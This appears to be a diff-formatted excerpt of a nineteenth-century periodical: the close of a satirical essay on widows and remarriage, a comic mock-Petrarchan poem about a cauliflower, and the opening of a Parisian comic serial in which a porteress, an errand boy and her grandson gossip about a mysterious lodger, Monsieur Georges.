+    "No more--no more,--oh! never more on me
+    The _greenness_ of the heart," &c.
+
+And this, there is no doubt, she does, as she embarks in matrimony with
+comfortable confidence a second time.
+
+It is believed that many very sensible men have married young widows.
+Without saying whether we believe it, we may observe that _we_ have
+never done anything of the kind, and never intend. This declaration is
+not inconsistent with perfect sincerity in all we have said. We have
+been treating of young widows _as_ widows, not as wives. Our objections
+to any transformation on our own account are many; we shall give only
+one,--our extreme diffidence and modesty, which would never allow us
+to be judged by comparison as to the essentials of a good husband. So
+strong, indeed, is our feeling on this point, that, notwithstanding our
+extreme prepossession in their favour, we verily believe that the most
+fascinating relict that ever lived, with the best fortune that was ever
+funded, might say to us by her manner, as plainly as a brass-plate on
+a street-door, "Please to ring the bell-e," only to suffer defeat and
+disappointment.
+
+And now we approach the second division, and proceed to pay our
+respects to middle-aged widows; generally, stout, healthy-looking
+women with seven children. We have omitted, by-the-bye, to observe,
+that young widows cannot have more than two, or at the most three,
+without losing caste. Seven children form a very interesting family,
+and confer considerable importance on their proprietor, of whose
+melancholy bereavement they are perpetual advertisements. In proportion
+to the number of pledges presented to a husband, is a wife's love
+for him; or, if this be not invariable, at any rate in proportion
+to her little ones is her sorrow for his loss; particularly when he
+dies leaving nothing behind him but the "regret of a large circle of
+friends." For some time, the afflicted woman places great reliance on
+an extensive sympathy, and has very little doubt that some one will
+some day do something: godfathers and godmothers rise into importance,
+and directors of the Blue-coat School are at a premium. If she be
+fortunate, her motherly pride is gratified before long by gazing on her
+first-born with a trimmed head and yellow cotton stockings; and by this
+time she generally finds out she has nothing more to expect from any
+one but--herself.
+
+We have begun with the poor and heavily-burthened middle-aged widows,
+because they are by far the most numerous of the class. It is a
+singular thing, that we seldom meet with a middle-aged widow with
+a small family, or a large provision. The young and the old are
+frequently wealthy; not so the other unfortunates. We suppose the
+reason of this is, that the harassing cares of an increasing family
+kill off a prodigious number of men; and, inasmuch as these cares would
+not have existed had Fortune been propitious, they make their exit in
+poverty.
+
+Occasionally, however, we meet with a middle-aged widow without
+children, and with fortune, or a comfortable independence. Of such a
+one we shall say a word or two. Generally speaking, she looks with
+extreme resignation on the affliction that has overtaken her; and, when
+she speaks of it, does so in the most Christian spirit. Of all widows,
+she is the most sure that "everything is for the best;" and, as she has
+no living duplicates of the lost original, her bosom is less frequently
+rent by recollections of the past. Anxious, however, to prove her
+appreciation of the holy state, and offer the best testimony of her
+sense of one good husband, she rarely omits taking a second; and,
+purely to diminish the chance of having twice in her life to mourn the
+loss of her heart's idol, she generally selects one some ten or fifteen
+years younger than herself. We say "selects," because it is very well
+known, that, though maids are wooed, widows are not. The first time a
+woman marries is very frequently to please another; the second time,
+invariably herself: she therefore takes the whole management of the
+matter into her own hands. We think that this is quite as it should
+be: it stands to reason that a woman of seven or eight and thirty, who
+has been married, should know a great deal more about married life
+than a young gentleman of twenty-five, who has not. And then he gets a
+nice motherly woman to take care of him, and keep him out of mischief,
+and has the interest of her money to forward him in his profession or
+business,--the principal has been too carefully settled on the lady to
+be in any risk.
+
+We do occasionally encounter some "_rara avis in terris_"--a
+middle-aged widow who thinks nothing of further matrimony; and so
+convinced are we of the "dangerous tendency" of such characters,
+that we would at once consign them to perpetual imprisonment. If they
+declared their resolution in time, we would undoubtedly try it, by
+burying them with their first lover, or burning them Hindoo fashion;
+for, supposing them to have no children, to what possible good end can
+they propose to live? It is our firm belief that they know too much
+to be at perfect liberty, with safety to society; and they must of
+necessity be so thoroughly idle, beyond knitting purses and reading
+novels, as to make mischief the end and aim of their existence. We
+ask fearlessly of our readers this question--"Did you ever in your
+lives know an unmarrying, middle-aged, childless widow, who was not a
+disagreeable, slanderous, and strife-inducing creature?" If you ever
+did, you ought to have tickled her to death,--so as to have avoided
+disfigurement,--and sent her in a glass-case to the British Museum.
+
+Perhaps it will be said by some, that they have known such a woman as
+we have just enquired about, and that they don't think she merited any
+such fate; perhaps they will say that she was a very harmless, pleasant
+person, and only remained single because she held her heart sacred
+to her departed lord. Cross-grained and ugly middle-aged widows may
+occasionally foster this romance; as also may those whose husbands have
+exemplified by their wills that jealousy may outlive life, by decreeing
+that their flower should lose its sweetness upon another presuming to
+wear it,--in other words, that, upon a second marriage, the worldly
+advantages of the first should determine.
+
+There is a class of men in the world, who go through two-thirds
+of their life single, and who, if you were to believe them, never
+entertain the remotest notion of being "bothered with a wife." In some
+instances this arises from an early indulgence in dissipation; and,
+from keeping very equivocal company. In their own opinion they are
+extremely knowing, and are continually wondering "how men can make such
+asses of themselves" as to put their necks into the matrimonial noose;
+if you attempt to argue with them on the stupidity, if not baseness of
+their creed, they assure you confidently that "women are all alike." We
+once made a fellow of this sort ashamed of himself, when, having ended
+a long tirade, which was a coarse amplification of Pope's line,
+
+    "But every woman is at heart a rake,"
+
+we asked him, with sufficient emphasis, "Who his mother and sisters
+were _living_ with?"
+
+Another portion of the ring-renouncers are men who are so abominably
+selfish, that they would not share an atom of their worldly substance
+with the most perfect specimen of "the precious porcelain of human
+clay" that the world could produce them;--men who look with horror on
+the expenses of an establishment, and live in miserable hugger-muggery
+on some first-floor, sponging on their friends to the extremity of
+meanness;--men who look upon children with as much horror as that with
+which they would view a fall in the funds or the stoppage of their
+banker, and see nothing in them but a draft upon their pockets.
+
+There is yet another body of solitaries, much smaller in number
+though, than either of the other two;--men who underrate themselves,
+and who are so extremely diffident and bashful as never to have "popped
+the question," though their tongues have often had the itch to do
+it;--men who people their room, as they sit over the fire, with an
+amiable woman and half-a-dozen little ones, and, when they rub their
+eyes into the reality of their nothingness, sigh for the happiness
+of some envied friend. It was necessary that we should make this
+digression.
+
+We left the middle-aged widow with a large family and small means,
+convinced that, having got one child provided for,--enabling every one
+to speak of a kind act as though they had something to do with it,--she
+had then only to rely upon herself. She _does_ rely upon herself;
+and, in nine hundred and ninety-nine cases out of a thousand, her
+own resources are sufficient to change her state. Men may make fools
+of girls, but women make fools of men. In this work of retribution,
+middle-aged widows with families pre-eminently take the lead. They work
+particularly on those gentlemen whom we have here introduced; and more
+particularly and successfully on the first and third class, though the
+second are not unfrequently made examples of. It will be said that the
+first class are fools to hand: so they are; and, when caught, they find
+it out themselves. They are flies, buzzing about and blowing every fair
+fame they are not scared from. The widow spreads her web of flattery
+and flirtation; and when the poor insect ventures boldly in, confident
+that he can at any moment "take wing and away," she rolls him round
+and round in her meshes, as a spider does a blue-bottle,--or, to use a
+very expressive idiom, she "twists him round her finger," ring-shape.
+The consequential, slanderous, and boasting booby sinks into the
+insignificance of a caged monkey, and lives and dies a miserable Jerry
+Sneak! Look into society, and you will find many of them.
+
+We admit it is a hard fate for a man, whose only failing, perhaps, has
+been his modesty, to be secured for the purpose of feeding the hungry
+and clothing the naked; but then it must be remembered that, had not a
+widow proposed to him, he would never have had courage to propose to
+anybody, and that he gets a companion for life and a ready-made family,
+instead of lingering on in envy and despair.
+
+Seeing that we have called all widows old, who are on the grave side of
+forty, we feel that we have the most difficult portion of our subject
+to discuss,--difficult, and, we may add, delicate, because so very few
+of those who are obnoxious to what we may say, will be inclined to
+admit it; indeed, if we had any hope of getting over this difficulty
+by throwing in ten or fifteen years more, we would do so, and date
+only from fifty or fifty-five. We know, however, that this would not
+extricate us, and so prefer adhering to our original scale. Widows of
+forty and upwards command very little of the sympathy that waits on
+those bereaved in earlier life. The reason of this, perhaps, is, that
+they are not themselves so interesting. It is astonishing how much we
+feel through our eyes. We are told that "Pity is akin to love," and we
+might enter into some curious speculations as to the various deductions
+to be drawn from these words. Supposing we see a young creature of
+one-and-twenty, in all the freshness of life and first grief, who has
+buried a lover in a husband after two or three years of unalloyed
+happiness; she has an infant, perhaps, in each arm. Do we pity her?
+Deeply,--acutely; we could almost weep for her. Well; we meet a woman
+in the autumn of life, whose summer has been passed with the first
+and only object of her affections; hearts that yearned towards each
+other in youth, time has made one; in every inclination, wish, hope,
+fear, they have heightened the pleasures of life by a mutual enjoyment
+of them, and alleviated its sorrows by sharing them together. Death
+has divorced them, and we see her--alone! We are very sorry for her,
+and her four or five children; it is "a sad loss:"--we say so, and of
+course we mean it; but are we as sensitive to this picture as to that?
+
+If we make second marriages a principal feature in this dissertation
+on widows, we do so because it is their "being's end and aim," as is
+incontrovertibly proved by their all but universality. Old widows,
+even if poor, sometimes lend an able hand in the retaliation of which
+we have before spoken; but, unfortunately, they also very frequently,
+when they happen to have wealth, become themselves objects of scorn
+and derision. Perhaps the most offensive creature in existence, and,
+save one, the most contemptible, is the worn-out, toothless, hairless,
+wrinkled jade, who attempts,
+
+    "---- Unholy mimickry of Nature's work!
+    To recreate, with frail and mortal things,
+    Her withered face;"
+
+and then, upon the strength of a long purse, puts herself up, a decayed
+vessel, to Dutch auction, herself proclaiming what she is worth, to
+be knocked down--we are almost unmanly enough to wish it were not
+figuratively--to some needy young spendthrift, of whose grandmother she
+must have been a juvenile contemporary. Widows of this stamp are almost
+always women raised from low stations, from whom, perhaps, little
+delicacy or refinement is to be expected. There is hardly a season in
+which some carcase-butcher's or grocer's wealthy relict is not the
+talk, and wonder, and emetic of the town.
+
+We must not conclude with exceptions, however, where they create so
+unfavourable an impression; we will rather turn to those portly and
+obliging widows who, after looking a little about them as single women,
+fall in with some comfortable old gentleman who very much wants a
+housekeeper, and somebody to mix his grog o' nights, and at once agree
+to take the situation. The old boy puts all his affairs into her hands,
+and they rub on together cosily enough the remainder of their days.
+Every one admits it to be "a very suitable match;" if an objection be
+made by anybody, it merely comes from some expectant nephews or nieces.
+
+There _are_ widows we think, we must admit it, who, widows once, remain
+so for ever, and from inclination, or rather from disinclination
+to encourage any impression, or even thought, that might weaken or
+interfere with the memory of the past; but we must repeat that they
+are never young, and rarely middle-aged widows: they are women past
+the meridian of their days, whose griefs, not violent or obtrusive,
+have yet been solemn and absorbing; women who have lost the vanity of
+believing they can accommodate themselves to any man; and, dwelling
+on the happiness they _have_ enjoyed, cherish its recollection as an
+act of devotion to one "not dead, but gone before." They wear their
+"weeds" as long as they are of this world; and there is always a
+quietness, if not gravity of demeanour, that perfectly assorts with
+them. In society they are always respected; by those who know them,
+loved; they do not hesitate to talk of their married life, and live
+over many of its scenes, to those who are interested in listening:
+herein they differ from married widows, if we may use the expression,
+who very rarely talk of their first union to any one but their
+husbands; they, perhaps, hear of it something too much, and too often!
+
+And now, having passed our compliments and paid our respects, we must
+take our leave. We have been guilty of one rudeness,--we have had all
+the talk to ourselves: in return, we promise to be patient listeners,
+should any fair controversialist think fit to propound her views on
+this "highly-interesting and important subject."
+
+
+
+
+PETRARCH IN LONDON.
+
+
+                    I.
+
+    Near Battersea a lonely flower grew,
+      It was in truth a sweet and lovely thing:
+      The skies smiled on its blossoming,
+    And poured into its breast their balmy dew;
+    Its breath was fragrant as the month of May;
+      Its face was fairer than the mist that veils
+    Aurora's self, ere she has bid the day
+      Laugh on the hills, and smile upon the dales.
+    Fairest of all!--companions she had none;
+      For Fate had torn them from her tender side.
+    She seemed a virgin suing to be won,
+      And yet all-shrinking in her modest pride.
+    This cauliflower,--which I now call a flower,--
+    I took into my arms, and boiled that very hour.
+
+                    II.
+
+    The Irish hodman, on his ladder high,
+      Surveys each chimney-pot that smokes around,
+      Then turns his anxious eyes upon the ground
+    To where his pipe doth in his jacket lie:
+    Sweet thoughts of "'bacco," and the opium feel
+      That lays a handcuff on Care's iron wrist.
+    Come o'er his mind; and pots of porter steal,
+      Illusive settling on his outstretched fist!
+    Entranced he stands: the tenants of his hod
+      Fall down before the spirits of his heart;
+    Till Reason interferes her magic rod,
+      "Puts out his pipe," and shows his bricks apart,
+    So 'twas with me: Ambition once did fix
+    An airy structure, which fell down "like bricks!"
+
+
+
+
+ADVENTURES IN PARIS.
+
+BY TOBY ALLSPY.
+
+THE FIVE FLOORS.
+
+
+The Boulevards may be said to perform for Paris the functions fulfilled
+by the cestus of Venus towards that amphibious goddess, by surrounding
+it with a magic girdle of fascinations. Every sort and variety of
+entertainment is to be found comprised in their cincture of the
+city,--from the stately Académie de Musique and Italian Opera (full of
+dandies and dowagers), to the trestles of rope-dancers, amphitheatres
+of dancing-dogs, and galleries of wax-work, (full of ploughboys and
+pickpockets,)--and every species of domicile, from the gorgeous hôtel
+to the humble stalls of the vendors of liquorice-water and _galette_.
+At one extremity we have the costly _menu_ of the Café de Paris, with
+its _ortolans_ and _poudings à la Nessebrode_; at the other, the greasy
+_fricots_ of La Courtille. The Café Turc brays forth with Tolbecque,
+and an orchestra of trumpets and bassoons; the _guinguettes_ of the
+Faubourg St. Antoine scrape away with their solitary fiddle. Every
+species of shop and merchandize, from the sumptuous _magazin_ of Le
+Revenant to the _boutique à vingt-cinq sous_; every species of temple,
+from the Parthenonic Madeleine, to that aërial shrine of liberty, the
+site of the Bastille. Every gradation of display between splendour and
+misery is epitomized in the circuit of the Boulevards.
+
+Play, opera, farce, feats of equestrianism, funambulism, somnambulism,
+and humbugism of every colour, industrious fleas, and idle vendors
+of magic eye-salve, successively arrest the attention; while in the
+vicinity of the Café Tortoni, famous for the coldness of its ices
+and heat of its quarrels, the _courtier marron_ plies his trade of
+trickery; stock-jobbing has full possession of the _pavé_; and almost
+within hearing of the knowing ears of the Jockey-Club, and the ears
+polite of the _Club Anglais_, bulls and bears outbellow the fashionable
+jabber of the Boulevards.
+
+On emerging from the head-quarters of English Paris,--the Rue de
+la Paix,--to the Boulevards des Capucines and des Italiens, the
+eye is dazzled by gilding, gas-light, plate-glass, scagliola, or
+moulu, varnished counters, and panelling in grotesque and arabesque,
+interspersed with glittering mirrors, as appliances and means of
+getting off the lowest goods at the highest rate. A little further, and
+by an imperceptible gradation, vice succeeds to frivolity. Instead of
+milliners and jewellers, we find billiard-tables and gambling-houses,
+deepening at length, into the more tremendous hazards of the Stock
+Exchange. After passing the vicinity of the Bourse, we come, naturally
+enough, to the quarter of the Jews; passing through the speculative
+neighbourhood of Le Passage des Panoramas, which is but a splendid game
+of chance materialised into stone and marble.
+
+Next to this gaudy section of the modern Babylon dwells solid
+trade,--the streets of St. Denis and St. Martin,--accompanied by such
+theatres and such coffee-houses as might be expected to minister to
+the sensual and intellectual delights of the _marchand en gros_;
+melo-drama, and the Porte St. Martin,--the _Cadran Bleu_, and its
+unctuous _cuisine_. The vicinage of Rag Fair (the _marché aux vieux
+linges_) succeeds; then the Boulevard still bearing the name of
+Beaumarchais (the mansion formerly inhabited by the creator of Figaro
+being appropriately occupied by a refinery of salt); and lastly, in the
+wake of rags and wits, the site of the Bastille,--the rallying-point
+of the most seditious parish of Paris, the republican quarter of the
+manufacturers, the tremendous Faubourg St. Antoine.
+
+It was precisely at the boundary limit between the pleasure and
+business sections of the Boulevards, at the corner of the Rue du
+Faubourg Montmartre, on an airy second-floor with a projecting balcony,
+commanding a view of the sporting world to the right, and the trading
+world to the left,--the idle west, and active east,--that there
+lived a certain Monsieur Georges,--a little wizened man, of doubtful
+age, doubtful fortune, doubtful reputation. Everything about him was
+equivocal. In Paris people occupy themselves far less than in London
+with the affairs of their neighbours: the great have something better
+to do, the little something worse; the rich being too busy with play,
+the poor too busy with work, to have leisure for the dirty scandals
+which spring up like _fungi_ in that region of lords and lackeys,
+Grosvenor Square. Nevertheless, the porter's lodge of every Parisian
+house is a chartered temple of echo, having a gossipry and a jargon
+of its own. The porter's lodge knits stockings, reads novels, and
+composes romances; peeps into letters, interrogates chambermaids,
+and confederates with duns. A man loose in his habits had need be
+very close in his domestics, in order to escape the detection of his
+porter's lodge.
+
+Yet, in spite of fifteen years' domiciliation in that polished corner
+of the Boulevards, Monsieur Georges, though far from a beauty, was
+still a mystery. _Madame la portière_ had never been able to discover
+whether "Georges" was a surname given by father to son, or a Christian
+name given by godfather to godson. She sometimes thought him a single
+man, sometimes a double, nay, sometimes a treble. Curious varieties of
+the fair sex occasionally visited the balconied saloon,--young, old,
+and middle-aged,--shabby-genteels who passed for poor relations, and
+glaring tawdry who passed for worse. There was no roost in his abode,
+however, either for the birds with fine feathers, or the birds without.
+Monsieur Georges's foible was not that of hospitality. His interests
+were too intimately cared for by a ferocious _femme de confiance_, who
+set himself and his house in order, and caused his establishment to be
+designated in the neighbourhood as that of Georges and the Dragon.
+
+If not generous, however, the little man was strictly just; he
+gave nothing, but he kept nothing back. He paid his way with the
+praiseworthy punctuality remarkable in those who never pay an inch of
+the way for other people.
+
+It is a hard thing, by-the-bye, that while male designations leave the
+facts of the man's bachelorhood uncertain, a spinster is specially
+pointed out by the malice of conventional phraseology. Mr. or Monsieur
+may be married or single, as he pleases; but Mrs. and Madame assume,
+even on the direction of a letter, their airs of matronly superiority
+over Miss or Mademoiselle. While her master rejoiced in his ambiguity
+as _Monsieur_ Georges, _Mademoiselle_ Berthe was designated to mankind
+and womankind in all the odium of spinsterhood; and exclamations
+of "old maid" and "_chissie_" followed her daily passage past the
+porter's lodge, the moment the "grim white woman" reached the first
+floor.
+
+Among those who indulged in the acrimonious apostrophe, the most
+persevering, if not the loudest, was an urchin of some fourteen years
+old, whom Monsieur Georges had added to his establishment two years
+before, by way of Jack Nasty, foot-page, or errand-boy, under an
+engagement to clean Monsieur Georges and the housekeeper's shoes,
+without dirtying the ante-room with his own; to work much, eat little,
+sleep less; to keep his ears open, and his mouth shut; his hands
+full, and his stomach empty; his legs were to be evermore running,
+his tongue never. Now, little Auguste, (Auguste in the parlour,
+and Guguste in the porter's lodge,) though reared in a provincial
+foundling hospital, where infants are fed, like sheep, on a common, by
+the score, and washed, like pocket-handkerchiefs, by the dozen, had
+unluckily both a will and an appetite of his own. Cleaning Mademoiselle
+Berthe's shoes inspired him with a fancy for standing in them; and,
+on more than one occasion, he was found to have encroached upon the
+housekeeper's breakfast of coffee and cream, instead of contenting
+himself with wholesome filtred water. He was forthwith accused of being
+a greedy pig, as well as of making a litter in the apartments; till,
+after six months of faultiness and fault-finding, Monsieur Georges
+pronounced him to be an incorrigible _gamin_, sentenced him to "bring
+firing at requiring," and blacken shoes as usual, but to have his
+bed in an attic under the roof, (Parisianly called, after the famous
+Parisian architect, a _mansarde_,) and his board in the porter's
+lodge, where the board was exceedingly hard; Madame Grégoire,--the
+knitter of stockings, reader of novels, and coiner of romances for
+the corner-house of the Rue Montmartre,--having consented to feed and
+cherish him at the rate of twenty-five francs per month, _id est_, five
+weekly shillings lawful coin of her Majesty's realm. Monsieur Georges
+perhaps intended to starve the saucy gamin into submission; he _did_
+almost succeed in starving him into an atrophy.
+
+Guguste, however, was a lad of spirit, and could hunger cheerfully
+under the housekeeping of the kind-hearted Madame Grégoire, who made up
+for the scantiness of her cheer by the abundance of her cheerfulness,
+buttered her parsnips with fine words, and gave the poor half-clothed
+_gamin_ the place nearest the _chauffrette_, (fire she had none,) while
+Mademoiselle Berthe made the apartment on the second floor too hot
+to hold him. Madame Grégoire,--whose only daughter was the wife of a
+puppet-showman, and whose only grandson, a seller of sparrows _rouged
+et noired_ into bullfinches, or white-washed into canaries, on the Pont
+Neuf,--transferred a considerable portion of her unclaimed dividends
+of maternal tenderness to the little orphan. Her son was a soldier,
+serving (as she said) at Algiers in the Indies, and by no means
+likely to enter into rivalship with the slave of Monsieur Georges and
+Mademoiselle Berthe's household.
+
+"'Tis a strange thing, my dear child," mumbled the old woman to
+Guguste, as they sat down together one day to their six o'clock soup,
+(a composition of hot water, cabbage-stalks, half an ounce of bacon,
+and a peck of salt,) "that so long as I have held the string[29] in
+this house, not a drop of wine, either in piece or bottle, has ever
+gone through the gateway to the address of Monsieur Georges! Every
+month comes the supply of chocolate from Marquise's for Monsieur, and
+from the Golden Bee a cargo of Bourbon coffee and beetroot sugar for
+the housekeeper; but of wine not a pint."
+
+"Neither Georges nor the Dragon are honest souls enough to trust
+themselves with their cups," said the knowing _gamin_. "Wine tells
+truth, they say. None but an ass talks now-a-days of truth lying at
+the bottom of a well;--'tis in the bottom of a hogshead of claret.
+Ma'mselle Berthe, who can do nothing but lie, is the liar in the well.
+_She_ can't keep her head above water."
+
+"But Monsieur Georges, who need entertain no fear of making too free
+with his own secrets after a glass or two, inasmuch as no living mortal
+ever dips with him in the dish;--surely Monsieur might indulge on
+Sundays, and fête days, and the like?"
+
+"And so he does indulge, Maman Grégoire,--so he does! Some folks like
+their champagne, some their burgundy. Master loves to take an internal
+hot-bath after the English fashion."
+
+"A tea-drinker? _sacristie!_ what effeminacy!" exclaimed the old woman,
+bravely swallowing, out of a spoon of _métal d'Alger_, a large mouthful
+of tepid cabbage water. "I recollect seeing tea made upon the stage, in
+the farce of 'Madame Pochet et Madame Gibou.' _Jésu!_ what nastiness! I
+really wonder at Monsieur Georges! So spruce and so cleanly a gentleman
+as he looks, when, every evening just as St. Philip's church chimes
+the half-hour after seven, '_Le cordon, s'il vous plait_,' gives me
+notice of his exit! His superfine blue coat and garnet-coloured velvet
+waistcoat without a speck of dust upon them!"
+
+"Thanks to _me_!" interposed Guguste.
+
+"His _toupet_ shining with _huile antique_."
+
+"Thanks to _me_!" continued Guguste.
+
+"His boots varnished like looking-glasses."
+
+"Thanks to _me_!" pursued Guguste.
+
+"His hat smoothed as with an iron."
+
+"Thanks to _me_,--thanks to _me_!"
+
+"His _jabot_ plaited as if by machinery, and white as snow; while his
+great diamond studs look out like eyes of fire from the frilling,--"
+
+"Thank to--no, not thanks to _me_!" cried Guguste. "I must own that
+Ma'mselle Berthe, who is so much in the starch line, still presides in
+the washing and ironing department; and, as to the brilliants, which
+you say shine in the dark like cats' eyes, master keeps them like the
+apple of his own."
+
+"I wonder what makes him so wonderful particular about his dress after
+nightfall?" said Madame Grégoire, peering through her spectacles into
+the face which she was preparing to cross-examine. "Humph?"
+
+"Can't say," replied Guguste, tilting the soup-tureen to transfer the
+last drop of warm salt-water to his own plate.
+
+"You mean _won't_; you _could_ fast enough if you would, child!" said
+Madame Grégoire pettishly.
+
+"Bah!" cried the _gamin_, (who was perhaps of opinion that the kicks,
+which, more than half-pence, constituted his salary in Monsieur
+Georges's service, formed a tie upon his discretions,)--"how can
+_you_, Ma'me Grégoire, who are such a very sensible woman, imagine it
+possible, that while I am clearing away the dinner things down stairs
+in the porter's lodge, or up stairs in Ma'mselle Berthe's chamber,
+I can have an eye to master's proceedings after he has crossed his
+threshold! Maybe he goes to the opera."
+
+"Three nights in the week. But the other four?"
+
+"There are fifteen theatres open, as I've heard tell, in the city and
+the suburbs," quoth Guguste drily.
+
+"But, gentlemen as _is_ gentlemen (which is what Monsieur Georges calls
+himself, however he may be called by others,) don't put on diamond
+studs and embroidered waistcoats, to go to the playhouses!"
+
+"Don't they? How should I know?" demanded Guguste, polishing the pewter
+spoon on his sleeve as he was accustomed to do those of his master's
+double-threaded silver. "What do I see of playhouses?"
+
+"Why, you ungrateful child! didn't I give you a ticket for the pit of
+the Porte St. Martin, for that moving piece, 'The Spectre Abbot,' on
+the night of Ma'mselle Isoline's benefit, the deputy-double of the
+general-utility _jeune prémière_, who lodges up stairs in the back
+attic, next but one to your own?"
+
+"Yes; I saw 'The Spectre Abbot,' and Ma'mselle Isoline into the
+bargain, with three-quarters of a yard of red calico hanging to her
+waist, to represent the 'Bleeding Nun;' but I didn't take any notice
+whether the gentleman whose elbows were jammed into my sides wore
+diamond studs or velvet waistcoats."
+
+"At all events you must perceive that the highly-respectable gentleman
+who occupies our splendid first-floor apartment, (Monsieur Boncoeur,
+the deputy,) goes out every evening in his carriage in a very different
+costume?"
+
+"Monsieur Boncoeur, in his carriage, need not hoist a flag of
+gentility. Monsieur Georges, on foot, might be hustled off the pavement
+but for his brilliants."
+
+"More likely _for_ them," said the porteress.
+
+"Besides, Monsieur Boncoeur is, as you say, such a very
+respectable-looking gentleman! His dark, square-cut coat, and
+pepper-and-salts; his broad-brimmed hat, and sad-coloured gloves;
+his whole outward man seems to have been taken measure of as the
+picture of respectability! And see what that very respectability has
+brought him to! Partner in one of the first houses in the Rue Bergère;
+deputy in the chamber; _marguillier_ of the parish; a ribbon in his
+button-hole; and the picture of himself and his ribbon face to face
+with the portrait of Louis Philippe, at the gallery of the Exposition,
+for all the world as if they'd a little word to say to each other
+in public. Lord bless you! Monsieur Boncoeur's respectable grey
+whiskers, respectable speckled stockings, respectable great-coat and
+umbrella, are worth a couple of hundred thousand francs a year to the
+banking-house in the Rue Bergère, as vouchers for the square-toeishness
+of the firm!"
+
+"Lord love thee, child! at thy years how shouldst thou know so much of
+the world!" cried Madame Grégoire, removing her spectacles after this
+tirade, as if all further perspicacity were superfluous.
+
+"By being thrown upon it from the moment I had years to count," cried
+the urchin. "A foundling hospital, Ma'me Grég. is a famous whetstone,
+against which no one can rub without sharpening his wits!"
+
+"But, since thine are so sharp, boy, how comes it thou hast never
+discovered whither Monsieur Georges directs his steps every evening,
+winter and summer, at half-past seven."
+
+"Because 'tis my business to know, and I prefer my pleasure. I've some
+sort of _right_, you see, to interest myself in master's proceedings;
+but in those of Monsieur Boncoeur of the first floor, Ma'mselle Isoline
+of the attic, Madame la Baronne de Gimbecque, the pretty lady with
+the handsome _cachemires_, _coupé_, and black eyes, who lodges in the
+_entrésol_, and Madame Courson, the widow lady, on the _troisième_,
+I've nothing but wrong; and, accordingly, not a step do they take with
+which I am not conversant. I could tell you, if you wanted to know,
+where Madame Courson's poor, little, pale, patient daughter, Demoiselle
+Claire----"
+
+"Thank ye,--thank ye! I fancy I know more of my lodgers than _you_ do!
+All I ask you, is, concerning your master. Monsieur Georges is the
+only inmate of this house for whom it has ever been my fortune to pull
+the string without discovering, before the end of the first term, the
+source of his income, where he came from, whither he was going, and----"
+
+"Good evening, grandmamma!" squeaked a voice at the moveable pane of
+the glass-door,--the arrow-slit, or _meurtrière_, through which every
+porteress is privileged to parley with visitors at meal-times or in
+windy weather.
+
+"'Tis Dodo!" exclaimed Guguste, rising to open the latch for the lean
+and impish-looking grandson of Madame Grégoire, whose wistful glances
+in eyeing the empty tureen plainly indicated that his visit had been
+miscalculated by a quarter of an hour.
+
+"Mother desired me to call and inquire after the rheumatic pain in your
+right shoulder," continued Dodo, (the short for Dodore,--which is short
+for Theodore, in cockney Parisian.)
+
+"'Twas in my left, and it has left me," said the old woman peevishly;
+"and don't sit on that chair, child. The knitting-needles in the
+stocking may do you a mischief. How's your mother?"
+
+"Mamma's got a cold, sitting out in the showers yesterday afternoon, to
+finish shaving a poodle which a customer was werry particular to get
+done in time to go out to dinner."
+
+"Humph! I fancied, Dodo, _you_ had taken that part of the business off
+her hands. I thought she made over the scissors to you at Michaelmas
+last?"
+
+"And so she did for anything of plain work," replied the brat; "but
+this was a choice customer, and a bit of fancy work; a great big
+grey _barbet_, which stands as high as a rocking-horse, whose master
+is curious in his shaving. The gentleman's a poet, what does the
+off-rights _romantique_ for Victor Hugo's plaything playhouse at the
+Porte St. Antoine; and, as the vulgars is apt to have their poodles
+lion-fashion, Monsieur Eugène gives hisn a mane and forelock; which,
+with cropped ears, looks for all the world like a unicorn!"
+
+"What an ass!" cried Madame Grégoire contemptuously, tapping her
+snuff-box. "These poet and player folk makes themselves notorious, and
+fancies themselves famous!"
+
+"And how goes on your own business, Dodo?" demanded Guguste, assuming
+in the presence of the starveling of nine years old the airs of a man
+of the world.
+
+"Pretty smart, thank ye. I've just set up two new sparrow-traps in a
+ditch under the barrack-wall at Montrouge; and last week I sold a pair
+of as fine canaries as a coating of plaster of Paris and gamboge could
+make 'em, to a fine English lady in a carriage, as was crossing the
+bridge to the flower-market. Gave the brace of birds for nine francs,
+one of which I slipped into the hand of her _laquais de place_. But
+then I was out of business, you see, for three days a'twards, for fear
+of the police."
+
+"Dodo, you'll be disgracing your family one of these days by being took
+up!" said Madame Grégoire impressively. "I remember my respectable
+first-floor, Monsieur Boncoeur, bringing home a piping bullfinch last
+year he'd bought on the Boulevards, whose red breast washed off the
+first showery day, all as one as Ma'mselle Isoline's rouge after a
+flood of tears in a melodrame! The poor dear gentleman had half a mind
+to have up the seller of the impositious bird before the commissary of
+the district; only, as he'd paid for it with an old coat unbeknownst to
+his valet, and an old coat not being lawful coin of the realm, there
+was a doubt in his mind about his power of bringing the vagabond to
+justice."
+
+"Which? Himself, or the impositious bird, or the industrious fowler as
+was arning a living for his family?" inquired Guguste.
+
+"Hush!" cried Madame Grégoire, laying her hand on the cord as Monsieur
+Georges' thin voice was heard giving utterance to his usual evening
+cry of "_Le cordon!_" Guguste slunk behind her high-backed chair as
+his tyrant passed the window,--his withered, sallow face enlivened
+by his gold-mounted spectacles, and his mean person coquetted into
+consequence, perforce of velvet and trinkets. Burnished from top to
+toe, he was the very moral of one of Giroux's toys, the very _im_moral
+of a _chevalier d'industrie_.
+
+Certain that his master's exit would be the signal for his being
+fetched out of that, by the shrill summons of Ma'mselle Berthe to set
+the place in order, and make up the fire, (against the arrival of her
+cousin, Madame Dosne, an ex-box-opener of the Ambigu Comique, who
+occupied a chamber in the story above, and was admitted to the honour
+of seeing her prim relative play patience, and of sipping a glass of
+sugar and water with her on a long winter's evening,) Guguste flitted
+upward to the discharge of his duties, leaving the skinny imp of
+the Pont Neuf and his grandam to commune of domestic matters. While
+waiting the summons of Monsieur Boncoeur's demure-looking footman to
+open the gate for the demure-looking chariot of that highly demure and
+respectable individual, Madame Grégoire accordingly interrogated the
+boy concerning his father's absence from the sweets of his domestic
+hearth.
+
+"Papa is making a tour in the south," replied the imp. "He passed the
+summer in the Pyrenees. The Pyrenees are quite in fashion in papa's
+line of business!"
+
+"Ay, 'tis well for him that Gothon likes him to lead such a rambling
+life!" said Madame Grégoire in a moralizing tone. "When my poor
+daughter thought proper to marry a showman, I told her how it would be!
+To think, now, of a child of mine, a respectable _portière_ in the
+same house, of the same parish, for forty years' standing."
+
+"The house?"
+
+"The _house_, ignoramus!--The house is a century old, built by the
+Regent Duke of Orleans, father of his unfortunate majesty, Louis XIV,
+as you might read in history,--if you knew how to read.--To think
+of a child of mine, I say, squatting on a wooden stool, like a wild
